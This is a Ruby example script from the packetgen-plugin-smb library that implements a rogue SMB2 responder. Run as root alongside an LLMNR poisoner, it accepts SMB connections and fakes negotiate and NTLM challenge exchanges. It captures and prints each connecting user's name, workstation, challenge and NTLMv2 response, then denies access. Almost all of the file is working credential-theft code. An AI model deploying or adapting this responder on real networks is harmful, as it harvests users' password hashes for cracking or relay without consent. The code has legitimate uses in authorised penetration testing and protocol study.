#!/usr/bin/env ruby
# This file is part of packetgen-plugin-smb.
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
# This program is published under MIT license.
#
# This small example implements a SMB responder. It responds to all SMB
# Negotiate request to capture credentials.
# Before running it (as root), llmnr-responder should be running.

# frozen_string_literal: true

require 'socket'
require 'securerandom'
require 'ostruct'

require 'packetgen'
require 'packetgen-plugin-smb'

BIND_ADDR = '0.0.0.0'

DOMAIN_NAME = 'SMB3'
COMPUTER_NAME = 'WIN-AZE546CFHTD'

Thread.abort_on_exception = true

Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
  def to_s
    user = self.user.encode('UTF-8')
    computer = self.computer.encode('UTF-8')
    str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
    str << "Challenge: #{challenge}\nProof: #{proof}\n"
    str << "Response: #{response}"
  end
end

class Smb2Responder
  attr_reader :socket, :guid, :salt

  NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
  STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
  STATUS_ACCESS_DENIED = 0xc0000022

  SMB2_SIZE = 8_388_608
  SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
  SMB2_SALT_LEN = 32

  def initialize
    @guid = SecureRandom.uuid
    @salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
  end

  def start(bind_addr:)
    @socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)

    start_loop
  end

  private

  def log(str)
    puts "[SMB2] #{str}"
  end

  def get_smb_data(sock)
    PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
  end

  def smb2_nego_resp1
    return @resp1_pkt if defined? @resp1_pkt

    @resp1_pkt = PacketGen.gen('NetBIOS::Session')
                          .add('SMB2', credit: 1)
                          .add('SMB2::Negotiate::Response',
                               dialect: 0x2ff,
                               server_guid: guid, capabilities: 7,
                               max_trans_size: SMB2_SIZE,
                               max_read_size: SMB2_SIZE,
                               max_write_size: SMB2_SIZE)
    @resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
    @resp1_pkt.calc
    @resp1_pkt
  end

  def first_nego_response
    pkt = smb2_nego_resp1
    pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
    pkt
  end

  def second_nego_response(req_pkt)
    smb2_req = req_pkt.smb2
    nego_req = req_pkt.smb2_negotiate_request

    pkt = PacketGen.gen('NetBIOS::Session')
                   .add('SMB2',
                        credit: 1,
                        message_id: smb2_req.message_id,
                        reserved: smb2_req.reserved)
                   .add('SMB2::Negotiate::Response',
                        dialect: nego_req.dialects.last,
                        server_guid: guid,
                        capabilities: 0x2f,
                        max_trans_size: SMB2_SIZE,
                        max_read_size: SMB2_SIZE,
                        max_write_size: SMB2_SIZE,
                        system_time: PacketGen::Plugin::SMB::Filetime.now,
                        buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))

    pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
    pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)

    pkt.smb2_negotiate_response.context_list << { type: 2 }
    pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
    pkt.calc
    pkt
  end

  def first_session_setup_response(req_pkt)
    smb2_req = req_pkt.smb2
    setup_req = req_pkt.smb2_sessionsetup_request
    ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)

    pkt = PacketGen.gen('NetBIOS::Session')
                   .add('SMB2',
                        credit_charge: 1,
                        credit: 1,
                        status: STATUS_MORE_PROCESSING_REQUIRED,
                        message_id: smb2_req.message_id,
                        reserved: smb2_req.reserved)
                   .add('SMB2::SessionSetup::Response')

    ntlm = PacketGen::Plugin::NTLM::Challenge.new
    ntlm.flags = ntlm_nego.flags | 0x00810000
    ntlm.flags &= 0xfdffff15
    ntlm.challenge = [rand(2**64)].pack('q<')
    ntlm.target_name.read('SMB3')
    ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
    ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
    ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
    ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
    ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
    ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
    ntlm.target_info << { type: 'EOL' }
    ntlm.calc_length

    gssapi = pkt.smb2_sessionsetup_response.buffer
    gssapi[:token_resp][:response].value = ntlm.to_s
    gssapi[:token_resp][:negstate].value = 'accept-incomplete'
    gssapi[:token_resp][:supported_mech] = NTLMSSP_OID

    pkt.calc

    [pkt, ntlm.challenge]
  end

  def deny_access(req_pkt)
    smb2_req = req_pkt.smb2
    pkt = PacketGen.gen('NetBIOS::Session')
                   .add('SMB2',
                        credit: 1,
                        credit_charge: 1,
                        status: STATUS_ACCESS_DENIED,
                        message_id: smb2_req.message_id,
                        reserved: smb2_req.reserved)
                   .add('SMB2::SessionSetup::Response')
    # Remove buffer
    pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
    pkt.calc
    pkt
  end

  def start_loop
    loop do
      client = socket.accept
      to_close = false

      log "connection from #{client.peeraddr[2]}"

      credentials = Credentials.new
      credentials.ip = client.peeraddr.last

      until to_close
        rcv_pkt = get_smb_data(client)

        pkt_to_send = case rcv_pkt.headers.last.protocol_name
                      when 'SMB::Negotiate::Request'
                        unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
                          to_close = true
                          nil
                        end

                        first_nego_response

                      when 'SMB2::Negotiate::Request'
                        second_nego_response rcv_pkt

                      when 'SMB2::SessionSetup::Request'
                        gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
                        if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
                          pkt, challenge = first_session_setup_response(rcv_pkt)
                          credentials.challenge = binary2hex(challenge)
                          pkt
                        else
                          response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
                          if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
                            credentials.proof = binary2hex(response.nt_response.response)
                            credentials.user = response.user_name
                            credentials.computer = response.workstation
                            credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
                            to_close = true
                            deny_access rcv_pkt
                          else
                            to_close = true
                            nil
                          end
                        end
                      end

        client.send(pkt_to_send.to_s, 0) if pkt_to_send
        client.close if to_close

        puts credentials.to_s unless credentials.response.nil?
      end
    end
  end

  def binary2hex(str)
    str.unpack('H*').first
  end
end

Smb2Responder.new.start(bind_addr: BIND_ADDR)